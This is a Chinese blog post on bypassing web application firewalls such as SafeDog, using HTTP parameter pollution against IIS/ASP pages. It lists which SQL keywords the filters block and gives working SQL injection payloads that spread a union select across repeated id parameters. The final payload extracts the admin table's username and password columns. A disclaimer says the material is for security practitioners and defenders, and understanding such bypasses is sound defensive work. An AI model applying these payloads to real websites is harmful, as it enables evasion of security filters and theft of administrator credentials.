WAF安全拦截绕过思路和手法

全栈工程师修炼指南

发布于 2020-10-23 16:56:06

1.1K0

发布于 2020-10-23 16:56:06

文章被收录于专栏：全栈工程师修炼之路全栈工程师修炼之路全栈工程师修炼之路

[TOC]

注意：本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

0x00 介绍前言

收集之中

WAF绕过方法:

HPP(参数污染)方式

判断注入: xor 可直接过大部分的防护(包括安全狗) order by 大部分WAF默认拦截(包括安全狗) union 不拦截 select 不拦截 union selec 不拦截 union select 拦截注:以上是在GET方式下的结果

POST下: and 不拦截 union select 不拦截底线为↓ union select 1,2 from 这里开始被拦截实际上真正要绕过的是from是否被匹配

安全狗WAF

ByPass之HPP应用

描述:

一个有趣的注入点(可以使用其绕过SafeDog)

#正常访问
http://192.168.1.170/Production/PRODUCT_DETAIL.asp?id=1137

#HPP参数污染#且参数一为113 参数二为7 
http://192.168.1.170/Production/PRODUCT_DETAIL.asp?id=113&id=7 #回显的结果为id=113, 7

WeiyiGeek.

结论:由HPP原理思路可知IIS/ASP解析同名参数同时传递的时候会将其进行采用”,”拼接分割;

我们继续深入学习:

#我们构造下面的PoC由于&id=x相当于 ,x 所以参数值的数字都会变成,数字(用post测试)
id=1137 union select 1&id=2&id=3&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11&id=12&id=13&id=14&id=15&id=16&id=17&id=18&id=19&id=20&id=21&id=22%20from%20admin
#利用union爆出显位字段 3 , 15

继续注入查账号密码

id=1137%20union%20select%201&id=2&id=admin&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11&id=12&id=13&id=14&id=password&id=16&id=17&id=18&id=19&id=20&id=21&id=22%20from%20admin